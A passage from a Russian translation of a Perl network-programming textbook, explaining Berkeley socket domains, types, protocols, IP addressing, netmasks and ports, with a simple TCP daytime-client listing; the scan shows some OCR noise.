используют в качестве схемы адресации IP-адреса и номера портов (дополнительные
сведения приведены ниже). Домен AF_UNIX предназначен только для
межпроцессного взаимодействия в одном хосте. Адреса в этом домене представляют собой имена
путей файлов. Имя константы AF_UNIX является не совсем точным, поскольку
указывает на принадлежность этого домена только к UNIX, тогда как он может быть
реализован в системах, отличных от UNIX. По этой причине организацией по
стандартизации POSIX была предпринята попытка переименовать эту константу в AF_LOCAL,
но пока это соглашение принято лишь в некоторых системах.
Кроме этих основных доменов, есть и много других, включая AF_APPLETALK,
AF_IPX и AF_X25, и каждый из них соответствует конкретной схеме адресации. В
будущем большое значение приобретет домен AF_INET6, соответствующий
расширенным адресам TCP/IP версии 6, но он еще не поддерживается языком Perl.
86
Часть I. Основы
Таблица 3.1. Наиболее распространенные домены сокетов
Константа Описание
AF_J.NET Протоколы Internet
AF_UNIX Сетевые средства, применяемые на одном хосте
Префикс AF_ является сокращением от "address family" (семейство адресов).
Кроме того, имеется ряд констант "protocol family" (семейство протоколов),
начинающихся с префикса PF_. Например, константа PF_I.NET соответствует AF_INET. Эти
константы имеют одинаковые значения и фактически являются взаимозаменяемыми.
Два одинаковых ряда констант сохраняются по традиции, и в опубликованном коде
иногда можно встретить и те, и другие константы.
Тип сокета
Тип сокета определяет основные особенности связи через сокет. Как будет
описано более подробно в следующем разделе, сокеты могут относиться либо
к "потоковому" типу, в котором данные пересылаются через сокет в виде
непрерывного потока (например, как при последовательном чтении или записи в файл), или
к "дейтаграммному" типу, при котором отправка и получение данных происходит
в виде отдельных пакетов.
Тип сокета устанавливается константой, определяемой на уровне операционной
системы, которая принимает значение небольшого целого числа. Основные
константы, экспортируемые модулем Socket, показаны в табл. 3.2.
Язык Perl полностью поддерживает типы сокетов SOCK_STREAM и SOCK_DGRAM.
Тип SOCK_RAW поддерживается через дополнительный модуль Net: : Raw.
Протокол сокета
Для каждого конкретного домена и типа сокета может применяться один или
несколько протоколов, которые реализуют требуемые правила сетевого
взаимодействия. Как и домен, и тип сокета, протокол обозначается небольшим целым числом.
Однако номера протоколов не доступны в виде констант, и их поиск проводится во
время выполнения с использованием функции getprotobyname () языка Perl.
Некоторые из протоколов перечислены в табл. 3.3.
Протоколы TCP и UDP поддерживаются непосредственно API-интерфейсом
сокетов языка Perl. В программе может быть также получен доступ к протоколу ICMP
и протоколу raw бесформатной передачи данных с помощью модулей Net:: ICMP
и Net: : Raw независимых разработчиков, но эти протоколы в настоящей книге не
рассматриваются (было бы возможно, но вряд ли целесообразно повторно
реализовать протокол TCP на языке Perl с использованием пакетов, не имеющих
стандартного формата).
Таблица 3.2. Константы, экспортируемые модулем Socket
Константа'
SOCK_STREAM
SOCK_DGRAM
SOCK_RAW
Описание
Непрерывный поток данных
Отдельные пакеты данных
Доступ к внутренним протоколам и интерфейсам
Глава 3. Основные сведения о сокетах Berkeley
87
Таблица 3.3. Некоторые протоколы сокетов
Протокол Описание
tcp Протокол управления передачей для потоковых сокетов
udp Пользовательский дейтаграммный протокол для дейтаграммных сокетов
icmp Протокол управления сообщениями Internet
raw ч Протокол, предусматривающий создание пакетов IP вручную
Обычно для поддержки каждого конкретного домена и типа сокета применяется
единственный протокол. При создании сокета необходимо следить за тем, чтобы
домен и тип сокета соответствовали выбранному протоколу. Возможные комбинации
этих трех значений приведены в табл. 3.4.
Число допустимых комбинаций домена, типа и протокола сокета является
ограниченным. Тип SOCK_STREAM соответствует протокол)' TCP, a SOCK_DGRAM — протоколу
UDP. Обратите также внимание, что семейству адресов AF__UNIX соответствует не
настоящий протокол, а псевдопротокол с именем PF_UNSPEC (сокращение от
"unspecified" — неопределенный).
Объектно-ориентированный модуль 10:: Socket языка Perl (рассматриваемый
в главе 5) автоматически подставляет правильный тип сокета и протокол при
получении неполной информации.
Дейтаграммные сокеты
Сокеты дейтаграммного типа обеспечивают ненадежную передачу
неупорядоченных сообщений без установления логического соединения. Протокол UDP— это
главный протокол дейтаграммного типа в семействе протоколов Internet.
Как показано в схеме на рис. 3.2, дейтаграммные службы напоминают систему
почтовой связи. Как и письмо или телеграмма, каждая дейтаграмма в системе имеет
адрес назначения и обратный адрес, а также содержит определенный объем данных.
Протоколы Internet выполняют все возможное для того, чтобы дейтаграмма была
доставлена по месту назначения.
Таблица 3.4. Допустимые комбинации типа и протокола сокета в доменах INET и UNIX
Домен
AF_INET
AF_INET
AF UNIX
AF_UNIX
Тип
SOCK_STREAM
SOCK_DGRAM
SOCK_STREAM
SOCK_DGRAM
Протокол
tcp
udp
PF_UNSPEC
PF_UNSPEC
Этот протокол не предусматривает установления сеанса связи между сокетом-
отправителем и сокетом-получателем. Клиент может отправить дейтаграмму на
один сервер, затем немедленно перенастроиться и отправить дейтаграмму на
другой сервер с использованием того же сокета. Однако за то, что протокол UDP
позволяет обойтись без сложной процедуры установления логического соединения,
приходится платить. Как и в системах почтовой связи некоторых стран, вполне
возможно, что дейтаграмма "затеряется на почте". Клиент не имеет возможности
определить, получил ли сервер его сообщение, до тех пор, пока не получит под-
88
Часть I. Основы
тверждения в ответе. Даже в этом случае нельзя быть уверенным, что сообщение не
было потеряно, поскольку сервер мог получить первоначальное сообщение, а
подтверждение было потеряно!
Дейтаграммы
Рис. 3.2. Сокеты дейтаграммного типа обеспечивают ненадежную передачу неупорядоченных
сообщений без установления логического соединения
При передаче дейтаграмм не предусматривается ни синхронизация, ни
управление потоком. Если ряд дейтаграмм отправлен в определенном порядке, они могут
поступить совсем в другой последовательности. В связи с постоянно меняющейся
ситуацией в Internet, первая дейтаграмма может отправиться по одному маршруту, а
вторая — совсем по-другому. Если второй маршрут обеспечивает более быструю доставку,
эти дейтаграммы могут прибыть в порядке, противоположном их отправке.
Возможно также, что дейтаграмма в пути следования будет продублирована, и в результате
одно и то же сообщение поступит дважды.
Поскольку пересылка дейтаграмм происходит без установления логического
соединения, не предусмотрено управление потоком данных между отправителем и получателем.
Если отправитель посылает дейтаграммы быстрее, чем может обработать получатель,
последний не имеет возможности сообщить отправителю, чтобы он немного снизил темпы,
и поэтому в конечном итоге будет вынужден отбрасывать необработанные пакеты.
Хотя доставка дейтаграмм не является надежной, содержимое дейтаграмм вполне
заслуживает доверия. В современных реализациях протокола UDP предусмотрено
включение в каждую дейтаграмму контрольной суммы, позволяющей убедиться в том,
что содержащиеся в ней данные не были повреждены во время пересылки.
Потоковые сокеты
Еще одним важным средством обеспечения передачи информации по сети являются
потоковые сокеты, реализованные в домене Internet в виде протокола TCP. Потоковые
сокеты обеспечивают упорядоченный, надежный двухсторонний обмен информацией
Глава 3. Основные сведения о сокетах Berkeley 89
в виде потоков байтов. Как показано на рис. 3.3, потоковые сокеты можно сравнить
снепрерьшно поддерживаемой телефонной связью. Клиенты подключаются к
серверам, указывая их адреса; два участника соединения обмениваются данными в течение
некоторого времени, а затем один из этих двух участников разрывает соединение.
Операции чтения и записи в потоковый сокет во многом аналогичны операциям
чтения и записи в файл. Поток не регламентирует произвольных предельных
ограничений размера или границ записей, хотя при желании может быть разбит на отдельные
записи. Поскольку потоковые сокеты обеспечивают упорядоченную и надежную
передачу данных, существует возможность отправить в сокет ряд байтов в полной
уверенности, что они появятся на другом его конце в правильном порядке; при условии, что они
вообще появятся ("надежный" — не значит "невосприимчивый к сетевым ошибкам").
Протокол TCP обеспечивает также управление потоком данных. В отличие от
протокола UDP, при использовании которого опасность переполнения буфера
приема данных является вполне реальной, протокол TCP предусматривает
автоматическую отправку сигналов хосту-отправителю, чтобы он на время приостановил
передачу, если хост-получатель за ним не успевает, и возобновил отправку данных после
того, как хост-получатель снова будет к этому готов. Это управление потоком данных
реализовано в самом протоколе и обычно не заметно для постороннего взгляда.
Тот, кто когда-либо использовал синтаксическую конструкцию open(FH, "|
command ") языка Perl для открытия канала во внешнюю программу, знает, что работа
с потоковыми сокетами не имеет значительных отличий. Основное различие состоит
в том, что потоковые сокеты, в отличие от каналов, являются двунаправленными.
Несмотря на то что данные, передаваемые с помощью протокола TCP, составляют
непрерывный поток байтов, сам протокол фактически реализован на основе дейта-
граммной службы, в данном случае — протокола IP низкого уровня. Пакеты IP столь
же ненадежны, как и дейтаграммы UDP, поэтому именно протокол TCP обеспечивает
проверку порядковых номеров пакетов, подтверждение полученных пакетов и
повторную передачу потерянных пакетов.
Сопоставление дейтаграммных и потоковых
сокетов
После ознакомления со всеми этими проблемами надежности возникает вопрос,
для чего вообще нужен протокол UDP. Ответ на этот вопрос состоит в том, что
в большинстве программ типа клиент/сервер в Internet вместо него действительно
применяются потоковые сокеты TCP. В большинстве случаев TCP может служить
самым лучшим решением и для вновь разрабатываемых программ.
Однако UDP может оказаться лучшим вариантом. Например, серверы службы
времени используют дейтаграммы UDP для передачи информации о текущем времени
клиентам, которые используют ее для синхронизации часов. Если дейтаграмма
исчезнет в ходе передачи, то не нужно (и не желательно) передавать ее снова, поскольку
содержащаяся в ней отметка времени больше не будет актуальной.
I Приветствие *- I
Клиент -« *■ Сервер
I ■< Ответ I
Рис. 3.3. Потоковые сокеты обеспечивают упорядоченную,
надежную двухстороннюю связь
90
Часть I. Основы
Протокол UDP также удобен, если сеанс взаимодействия между двумя хостами
занимает очень мало времени. Продолжительность установки и закрытия соединения
TCP примерно в восемь раз превышает время, которое требуется для передачи
одного байта данных по UDP (дополнительные сведения представлены в литературе [14] ).
Если должен быть выполнен обмен относительно небольшими объемами данных,
установка соединения TCP потребует больше времени, чем передача полезной
информации. Даже после установки соединения TCP каждый байт, передаваемый в этом
соединении, требует большей пропускной способности по сравнению с UDP, из-за
дополнительных издержек, связанных с обеспечением надежности.
Еще одна типичная ситуация часто возникает, когда хост должен передать одни и те
же данные по многим адресам, как, например, при передаче видеопотока
многочисленным зрителям. Издержки, связанные с установкой и поддержанием большого числа
соединений TCP, могут быстро исчерпать все ресурсы операционной системы, поскольку
для каждого соединения должен применяться отдельный сокет. В отличие от этого,
отправка ряда дейтаграмм UDP требует затрат гораздо меньшего объема ресурсов. Один и
тот же сокет может использоваться повторно для отправки дейтаграмм многим хостам.
По протоколу TCP всегда создается только двухстороннее соединение, тогда как
UDP обеспечивает также передачу "от одного ко многим" и "от многих ко многим".
С одной стороны, дейтаграммы UDP можно направить по "широковещательному
адресу", в результате чего сообщение будет доставлено всем хостам локальной сети,
которые принимают сетевые пакеты. С друтой стороны, сообщение может быть
направлено заранее определенной группе хостов с использованием средства
"многоадресной рассылки", предусмотренного в современных реализациях IP. Эти
развитые средства описаны в главах 20 и 21.
Типичным примером службы, основанной на использовании протокола UDP,
является DNS (служба доменных имен) Internet. Эта служба обеспечивает прямое и
обратное преобразование имен хостов в IP-адреса с использованием слабо связанной
сети серверов DNS. Если клиент не получает ответа от одного сервера DNS, он просто
посылает свой запрос повторно. Издержки случайной потери дейтаграммы намного
ниже по сравнению с издержками, связанными с установкой нового соединения TCP
для отправки каждого запроса. К другим типичным примерам использования UDP
относятся служба NFS (Network File System — Сетевая файловая система) компании
Sun и протокол TFTP (Trivial File Transfer Protocol — Упрощенный протокол передачи
файлов). Данный протокол применяется на бездисковых рабочих станциях во время
начальной загрузки для получения с сервера ядра операционной системы. Протокол
UDP был выбран для этого проекта с самого" начала, поскольку его реализация
требует относительно небольшого объема кода. Поэтому программные средства протокола
UDP было легче разместить в ограниченном объеме ППЗУ, который имели рабочие
станции еще до разработки этого протокола.
Набор протоколов TCP/IP полностью описан в литературе [13], [16] и [14], а также
в документе RFC 1180, A TCP/IP Tutorial
Адресация сокета
Для обеспечения взаимодействия процессов друг с другом они должны иметь
возможность обращаться к другому процессу по определенному адресу. В каждом сетевом
домене понятие адреса имеет разное определение. В домене UNTX, который может
Глава 3. Основные сведения о сокетах Berkeley
91
применяться только для обеспечения связи между двумя процессами на одном и том
же хост-компьютере, адреса — это просто пути доступа к файловой системе хоста,
такие как /usr/tmp/log. В домене Internet каждый адрес сокета состоит из трех
частей: IP-адреса, номера порта и номера протокола.
1Р-адрес
В версии IPv4 протокола TCP/IP, применяемой в настоящее время, IP-адрес
представляет собой 32-разрядное число, которое используется для обозначения сетевого
интерфейса на хост-компьютере. Сеть Internet состоит из совокупности базовых подсетей
передачи данных и таблиц маршрутизации, предусмотренных в каждой из подсетей,
что позволяет передавать пакеты с одного компьютера на другой, указав его IP-адрес.
Для удобства чтения четыре байта IP-адреса компьютера обычно представляются
в виде последовательности из четырех десятичных чисел, разделенных точками, для
создания так называемого "четырехкомпонентного адреса, разделенного точками".
Сетевые администраторы привыкли к такому формату, и он им нравится. Например,
143.48.7.1 — это IP-адрес одного из серверов в организации, где работает автор. Этот
адрес, представленный в виде 32-разрядного числа в шестнадцатеричной системе,
выглядит как 0x8f3071.
Многие сетевые функции Perl предназначены для работы с IP-адресами в форме
упакованных двоичных строк. Прямое и обратное преобразование IP-адресов в
двоичный формат может быть выполнено вручную с использованием функций pack ()
и unpack () с шаблоном "С4" (четыре символа без знака). Например, ниже показано,
как преобразовать адрес 18.157.0.125 в упакованную форму, а затем его распаковать.
($a,$b,$c,$d) = split /W, "18.157.0.125';
$packed_ip_address = pack 'С4',$а,$b,$c,$d;
($a,$b,$c,$d) = unpack 'C4',$packed_ip_address;
$dotted_ip_address = join '.', $a,$b,$c,$d;
Однако обычно этого не приходится делать, поскольку в языке Perl
предусмотрены удобные функции высокого уровня для автоматического выполнения этого
преобразования.
Большинство хостов имеет два адреса— адрес петли обратной связи 127.0.0.1
(более известный под символическим названием "localhost") и общедоступный
адрес Internet. Адрес петли обратной связи связан с устройством, которое возвращает
передаваемую информацию на локальный компьютер, что позволяет клиенту на хосте
устанавливать исходящее соединение с сервером, функционирующим на том же хосте.
Несмотря на то что такая конструкция кажется на первый взгляд бессмысленной, это —
мощный метод разработки приложений, поскольку он позволяет разрабатывать и
проверять программное обеспечение на локальном компьютере, без доступа к сети.
Общедоступный адрес Internet связан с сетевой платой хоста, такой как плата
Ethernet. Этот адрес назначается хосту либо сетевым администратором, либо сервером
ВООТР (Boot Protocol— Протокол начальной загрузки) или DHCP (Dynamic Host
Configuration Protocol — Динамический протокол конфигурации хоста) в системах с
динамической адресацией хоста. Если на хосте установлено несколько сетевых
интерфейсных плат, каждая из них может иметь отдельный IP-адрес. Можно также настроить
одну интерфейсную плату на использование нескольких адресов. В главе 21
рассматривается модуль Perl независимых разработчиков 10: : Interface, который позволяет
определять и изменять IP-адреса, назначенные интерфейсным платам в сценарии Perl.
92
Часть I. Основы
Зарезервированные IP-адреса, подсети
и маски сети
Чтобы перейти с одного хоста на другой по Internet, пакет информации должен
пройти через ряд физических сетей. Например, пакет, исходящий из настольного
компьютера, должен пройти через локальную сеть, модем или маршрутизатор,
пересечь региональную сеть провайдера служб Internet, после этого пройти по базовой
сети в региональную сеть другого провайдера Internet и, наконец, достичь
компьютера назначения.
Сетевые маршрутизаторы следят за тем, как связаны между собой сети, и отвечают
за определение наиболее эффективного маршрута передачи пакета из точки А в точку
В. Однако если бы IP-адреса назначались произвольным образом, эта задача была бы
неосуществима, поскольку в каждом маршрутизаторе пришлось бы хранить карту
с обозначением местонахождения всех IP-адресов. Поэтому IP-адреса распределяются
в виде непрерывных последовательностей для использования в сетях,
организованных по отраслевом)' и территориальном)' принципу.
Например, работодатель автора, лаборатория CSHL (Cold Spring Harbor
Laboratory), владеет блоком IP-адресов в диапазоне от 143.48.0.0 до 143.48.255.255 (это
так называемые адреса класса В). При появлении в маршрутизаторе базовой сети
пакета, отправленного по IP-адресу, принадлежащему к этому диапазону,
маршрутизатору достаточно только определить, как отправить пакет в сеть лаборатории CSHL.
После этого ответственность за доставку пакета к месту его назначения возлагается
на маршрутизаторы CSHL. На практике CSHL и другие крупные организации
разбивают выделенные им диапазоны адресов на несколько подсетей и используют
маршрутизаторы для их соединения.
Компьютер, который отправляет пакет IP, должен определить, является ли
компьютер назначения непосредственно достижимым для пакета (например, по сети
Ethernet) или этот пакет должен быть направлен в маршрутизатор, который
соединяет локальную сеть с более отдаленными хостами. Основная задача состоит в
определении того, относится ли пакет к локальной или удаленной сети.
Для решения этой задачи IP-адреса разбиваются произвольно на часть адреса
хоста и часть адреса сети. Например, в сети CSHL это происходит после второго байта:
к адресу сети относится часть 143.48, а к адресу хоста — остальная часть адреса.
Поэтому в сети CSHL адрес 143.48.0.0 является первым, а 143.48.255.255 — последним.
Для описания того, где происходит разбиение на адрес сети и адрес хоста в целях
упрощения маршрутизации, в сети используется маска сети, которая представляет
собой битовую маску, содержащую двоичные единицы (1) в позициях, соответствующих
сетевой части IP-адреса. Как и сам IP-адрес, маска сети обычно записывается в форме
четырехкомпонентного адреса, разделенного точками. Продолжая приведенный
выше пример, укажем, что сеть лаборатории CSHL имеет маску сети 255.255.0.0, которая
в двоичной форме имеет вид 11111111,11111111,00000000,00000000.
По традиции сети IP подразделяются на три класса в соответствии с применяемой
в них маской сети (табл. 3.5). Сети класса А имеют маску сети 255.0.0.0 и включают
около 16 миллионов хостов. В сетях класса В, которые охватывают примерно 65000
хостов, применяется маска сети 255.255.0.0, а в сетях класса С используется маска сети
255.255.255.0, и они поддерживают 254 хоста (как будет описано ниже, первый и
последний адреса хоста в диапазоне сетевых адресов не предназначены для
использования в качестве обычных адресов хостов).
Глава 3. Основные сведения о сокетах Berkeley
93
Таблица 3.5. Классы адресов и соответствующие им маски сети
Класс
А
В
С
Маска сети
255.0.0.0
255.255.0.0
255.255.255.0
Пример адреса
120.155.32.5
128.157.32.5
192.66.12.56
Часть адреса сети
120.
128.157.
192.66.12.
Часть адреса хоста
155.32.5
32.5
56
Однако после значительного увеличения числа хостов, подключенных
к Internet, возникла необходимость разбивать сети на подсети иными способами.
Теперь можно встретить маску сети, которая не заканчивается на границе байта.
Например, маска сети 255.255.255.128 (с двоичным представлением
11111111,11111111,11111111,10000000) разбивает последний байт на две части
и создает множество сетей со 126 хостами. Современные маршрутизаторы
Internet перенаправляют пакеты на основе более гибкой схемы, получившей
название бесклассовой междоменной маршрутизации (CIDR — Classless Inter-Domain
Routing). В схеме CIDR используется способ сокращенного обозначения сети,
согласно которому за адресом сети следует косая черта и целое число, содержащее
число единиц в маске. Например, сеть лаборатории CSHL может быть описана
адресом CIDR 143.48.0.0/16. Схема адресации CIDR подробно описана в
документах RFC с 1517 по 1520 и в документах FAQ, перечисленных в Приложении Г,
"Библиография".
Определение сетевого и широковещательного адресов при работе с масками сети,
не оканчивающимися на границе байта, может оказаться сложным. Модуль
Net: :Netmask, который можно найти в архиве CPAN, предоставляет удобные
средства вычисления этих значений. В Приложении А, "Дополнительный исходный код",
приведен также небольшой модуль Net: :NetmaskLite, разработанный автором.
Рекомендуем изучить этот код, чтобы понять, как связаны между собой адрес сети,
широковещательный адрес и маска сети.
Первый и последний адреса в подсети имеют специальное значение и не могут
применяться в качестве обычных адресов хостов. Первый адрес, который иногда
называют адресом со всеми нулями, зарезервирован для использования в таблицах
маршрутизации, в которых он обозначает всю сеть как единое целое. Последний адрес
в этом диапазоне, который, соответственно, называют адресом со всеми единицами,
зарезервирован как широковещательный адрес. IP-пакеты, отправленные по этому
адресу, будут получены всеми хостами подсети. Например, компьютеры в сети с
адресами 192.18.4.x (адрес класса С или адрес 192.18.4.0/24 в формате CIDR) имеют адрес
сети 192.18.4.0 и широковещательный адрес 192.18.4.255. Широковещательная
рассылка будет описана более подробно в главе 20.
Кроме того, несколько диапазонов IP-адресов зарезервировано для специальных
целей (табл. 3.6). Сеть класса А с адресами Ю.х.х.х, 16 сетей класса В с адресами
с 172.16-х.х по 172.31.Х.Х и 255 сетей класса С с адресами с 192.168.0.x по 192.168.255.x
зарезервированы в качестве внутренних сетей. Любая организация может
использовать каждую из этих сетей для внутренних целей, но не должна подключать такую сеть
непосредственно к Internet. Сети 192.168.Х.Х часто применяются для тестирования
или размещаются за брандмауэрами, которые преобразуют все внутренние сетевые
адреса в один общедоступный IP-адрес. Сетевые адреса с 224.х.х.х по 239.х.х.х
зарезервированы для многоадресных приложений (глава 21), и все адреса, которые
находятся выше 240-х.х.х, зарезервированы для распределения в будущем.
94
Часть I. Основы
Таблица 3.6. Зарезервированные IP-адреса
Адрес Описание
127.0.0.x Адреса интерфейса петли обратной связи
10.Х.Х.Х Приватные адреса класса А
172.16.Х.Х-172.32.Х.Х Приватные адреса класса В
192.168.0.Х-172.168.255.x Приватные адреса класса С
И наконец, IP-адреса 127.0.0.x зарезервированы для использования в качестве
сети, возвращающей пакеты на локальный компьютер по петле обратной связи. Все,
что отправляется по адресу, принадлежащему к этому диапазону, снова поступает
в локальный хост.
Версия IPv6 протокола IP
Несмотря на то что число возможных адресов IPv4 превышает 4 миллиарда,
наличие нескольких крупных зарезервированных диапазонов и принятый способ
распределения адресов по подсетям значительно сокращают фактически доступное
число адресов. Это ограничение в сочетании с наблюдающимся в последнее время
резким возрастанием числа устройств, подключенных к сети, означает, что
диапазон незанятых IP-адресов в Internet быстро иссякает. В настоящее время это
удалось немного отдалить с использованием различных методов динамической
адресации хостов и преобразования адресов, позволяющих распределять пул IP-адресов
среди большего числа хостов. Однако в связи с тем, что теперь к Internet
подключаются даже тостеры, телевизоры и сотовые телефоны, возникает новая угроза
"истощения" адресного пространства.
Нехватка сетевых адресов послужила основным стимулом к введению новой вер
сии TCP/IP, известной под названием IPv6, которая предусматривает увеличение
длины IP-адреса от 4 до 16 байт. В настоящее время IPv6 развертывается в базовых
сетях Internet, но эти изменения не оказывают непосредственного воздействия на
локальные сети, в которых продолжают использоваться адреса, имеющие обратную
совместимость с IPv4. Язык Perl еще не был обновлен для поддержки IPv6, но ко
времени широкого развертывания IPv6 такая поддержка, несомненно, будет в нем
предусмотрена.
Дополнительную информацию о версии IPv6 можно найти в литературе [14] и [12].
Сетевые порты
После того как сообщение достигает IP-адреса назначения, возникает проблема
поиска соответствующей программы, для которой предназначено это сообщение. На
хосте обычно работает несколько сетевых серверов и поэтому было бы непрактично
(или даже бессмысленно) доставлять одно и то же сообщение им всем. Именно по
этой причине применяется номер порта. Часть адреса сокета, соответствующая
номеру порта, представляет собой 16-разрядное целое число без знака, которое может
находиться в диапазоне 1... 65535. Кроме IP-адреса, каждый активный сокет на хосте
обозначается уникальным номером порта, что позволяет безошибочно доставлять
сообщение соответствующей программе. При создании сокета в программе она мо-
Глава 3. Основные сведения о сокетах Berkeley
95
жет запросить операционную систему связать с сокетом порт. Если этот порт не
используется, операционная система удовлетворит запрос и откажет другим
программам в доступе к этому порту, пока порт снова не освободится. Если в запросе
программы не указан конкретный порт, ей будет назначен один из номеров, входящих
в пул неиспользуемых номеров портов.
В операционной системе фактически имеется два набора номеров портов; один
используется сокетами TCP, а другой — программами на основе UDP. Вполне
допустимо применение в двух программах одного и того же номера порта; при условии, что
один из них используется для TCP, а другой — для UDP.
Не все номера портов являются равнозначными. Номера портов в диапазоне
О... 1023 зарезервированы для использования так называемыми "известными"
службами, и эти номера назначает и распределяет организация ICANN (Internet
Corporation for Assigned Names and Numbers). Например, порт TCP номер 80
зарезервирован для протокола HTTP, используемого Web-серверами, порт TCP номер
25 — для протокола SMTP, используемого почтовыми транспортными агентами,
апорт UDP номер 53 применяется для службы доменных имен (DNS— Domain
Name Service). Поскольку эти порты широко известны, можно быть полностью
уверенным в том, что Web-сервер, работающий на удаленном компьютере, принимает
входящие запросы через порт 80. В системах UNIX только пользователь root (т.е.
суперпользователь) имеет право создать сокет с использованием
зарезервированного порта. Это отчасти предусмотрено для того, чтобы непривилегированные
пользователи системы не могли по неосторожности выполнить код, который
нарушит работу сетевых служб хоста.
Список зарезервированных портов и связанных с ними известных служб
приведен в Приложении В, "Справочные таблицы Internet". Большинство служб
основано на использовании либо TCP, либо UDP, но некоторые из них могут работать по
обоим протоколам. Для обеспечения совместимости в будущем организация ICANN
обычно резервирует за каждой службой и порт UDP, и порт TCP с одним и тем же
номером. Однако из этого правила есть много исключений. Например, порт TCP
номер 514 применяется в системах UNIX для удаленных служб командного
интерпретатора (для регистрации), а порт UDP номер 514 используется демоном ведения
системного журнала.
В некоторых версиях UNIX порты со старшими номерами в диапазоне
49152 ... 65535 зарезервированы операционной системой для использования в
качестве "временных" портов, которые назначаются автоматически исходящим
соединениям TCP/IP, если номер порта не был явно затребован. Остальные порты, которые
находятся в диапазоне 1024... 49151, могут безо всяких ограничений применяться
в приложениях; при условии, что на них нет заявки от какой-то другой службы. Всегда
рекомендуется проверять порты, использованные в компьютере, с применением
одного из сетевых инструментальных средств, описанных далее в этой главе (в разделе
"Инструментальные средства анализа сети"), перед выдачей заявки на один из портов.
Структура sockaddrjn
Адрес сокета— это информация об адресе хоста и номере порта, упакованная
в двоичную структуру, называемую sockaddr_in. Эта структура соответствует
структуре С с тем же именем, которое применяется самой операционной системой для
вызова системных сетевых процедур. (Аналогичным образом в сокетах домена UNIX ис-
96
Часть I. Основы
пользуется упакованная структура с именем sockaddr_un.) Функции,
предусмотренные в стандартном модуле Socket языка Perl, позволяют легко создавать структуры
sockaddr_in и управлять ими.
t _ $packed_address = inet_aton($dotted_quad)
j После получения IP-адреса, представленного в форме четырех чисел, разделенных точками, эта
; функция упаковывает- его в двоичную форму, пригодную для использования л функции,
{ scckadd'r_±n (}. Данная функция позволяет также применять символические имена хостов. Если |
i имя хоста не было найдено, функция возвращает значение undef. "'
$dotted_quad = inet_ntoa($packed_address)
j' Эта функция принимает упакованный IP-адрес и преобразует его в форму, предназначенную для ;
J восприятия человеком, в виде четырех чисел, разделенных точками. Функция не предпринимает^ по-
} пыток преобразовать IP-адреса в имена хостов. Такую операцию можно выполнить с использовани- j
! емгфужцииgetiiostbyaddr О:, которая описана ниже.
$socket_addr =";Sb^addr_iii {Sport; jSaddress^'v
($port,$address) i sobka.ddr_in($socket_addr)
I Функция sockaddr^in() при вызове в скалярном контексте.принимает в качестве параметров
! номер порта и двоичный IP-адрес, и упаковывает зти два значения в адрес сокета, пригодный для '
■ использования функцией socket (}. При вызове в контексте списка функция sockaddr_in() вы- '
| полняет противоположное действие, преобразуя адрес сокета в номер порта и IP-адрес. IP-адрес j
! должен быть дополнительно обработан; функцией inet_ntoa() для получения строки, предназна- '
■ ченной для восприятия человеком. ' "
$socket_addr = pack_sockaddr_in(Sport,$address) '.
j ($port,$address) = unpack_sockaddr_in{$socket._addr) 1
I Если вам не нравится сложный способ применения функции sockaddr_in(), вы можете ис-!
< пользовать эти две функции для упаковки и распаковки адресов сокетов в форме,- независящей от i
I контекста.
Некоторые из этих функций будут использоваться в примере, приведенном в
следующем разделе.
Иногда в литературе адрес сокета называют его "именем". Такой термин не
следует применять. Адрес сокета и его имя — это одно и то же.
Простой сетевой клиент
Для включения изложенной информации в связный контекст рассмотрим
пример клиента службы времени. Эта служба, которая работает на многих хостах
UNIX, принимает входящие запросы на создание соединения в порту TCP номер
13. Обнаружив такой запрос, она выводит единственную строку текста со
значением текущей даты и времени.
Этот сценарий получает из командной строки IP-адрес сервера службы времени
в виде четырех чисел, разделенных точками. При выполнении сценария с адресом
128.252.120.8, который представляет собой IP-адрес архива программного
обеспечения wuarchive. wustl. edu, будет получен примерно такой результат:
% daytime_cli.pl 143.48.7.1
Mori Jul 10 11:59:13 2000
Код клиента службы времени приведен в листинге 3.1.
Глава 3. Основные сведения о сокетах Berkeley
97
Листинг 3.1. Клиент с ■ л>ы времени
0: #!/usr/bin/perl
1: # Файл: daytime_cli.pl
2: use strict; use Socket;
4: use constant DEFAULT_ADDR => •127.0.0.1';
5: use constant PORT => 13;
6: use constant IPPR0T0_TCP => 6;
7: my $address = shift || DEFAULT_ADDR;
8: my $packed_addr = inet_aton(ADDRESS);
9: my $destination = sockaddr_in(PORT,$packed_addr);
10: socket(SOCK,PF_INET,SOCK_STREAM,IPPROTO_TCP) or
die "Can't make socket: $!";
11: connect(SOCK,$destination) or die "Can't connect: $!";
12: print <SOCK>;
Проведем анализ программы.
• Строки 1-3. Загрузка модулей. Включена строгая проверка соответствия типов с помощью
оператора use strict. Это позволяет предотвратить возникновение ошибок, вызванных
опечатками при вводе имен переменных, автоматической интерпретации отдельных слов как
строк и т.д. После этого выполняется загрузка модуля Socket, который импортирует
несколько функций, применяемых в программировании сокетов.
• Строки 4-6. Определение констант. В этих строках определено несколько констант. В
частности, default_addr — зто IP-адрес удаленного хоста, по которому нужно обратиться, если
адрес не представлен явно в командной строке. Здесь используется 127.0.0.1, адрес петли
обратной связи.
port — это известный порт (порт номер 13), a ipproto_tcp— числовое обозначение
протокола TCP, необходимое для создания сокета.
Применение фиксированных значений этих констант в программе является не самым лучшим
решением, в частности, использование константы ipproto_tcp может нарушить
переносимость. В следующем разделе показано, как выполнять поиск этих значений во время
выполнения с использованием символических имен.
• Строки 7-9. Формирование адреса назначения. В следующей части этого кода адрес
назначения для сокета формируется с использованием IP-адреса хоста службы времени и номера
порта этой службы. Эта процедура начинается с выборки адреса в виде четырех чисел,
разделенных точками, из командной строки или установки его равным адресу петли обратной
связи, если он не указан.
Теперь IP-адрес представлен в форме строки, но перед передачей его в функцию создания
сокета он должен быть преобразован в упакованную двоичную форму. Это можно сделать
с использованием функции inet_aton (), описанной ранее.
Последний этап формирования адреса назначения состоит в создании структуры
sockaddr_in, которая содержит IP-адрес и номер порта. Для этого необходимо вызвать
функцию sockaddr_in () с номером порта и упакованным IP-адресом.
• Строка 10. Создание сокета. Функция socket о создает оконечную точку соединения. Эта
функция принимает четыре параметра. Первый параметр, sock, представляет собой имя
дескриптора файла, используемого для сокета. Сокеты выглядят и действуют аналогично
дескрипторам файлов, и для их обозначения также принято применять прописные буквы. Остальными
параметрами являются семейство адресов, тип сокета и номер протокола. За исключением номера
протокола, который жестко закодирован, все константы берутся из модуля socket.
В результате этого вызова функции socket О создается потоковый сокет домена Internet,
в котором применяется протокол TCP.
• Строка 11. Подключение к удаленному хосту. Имя sock соответствует локальной оконечной
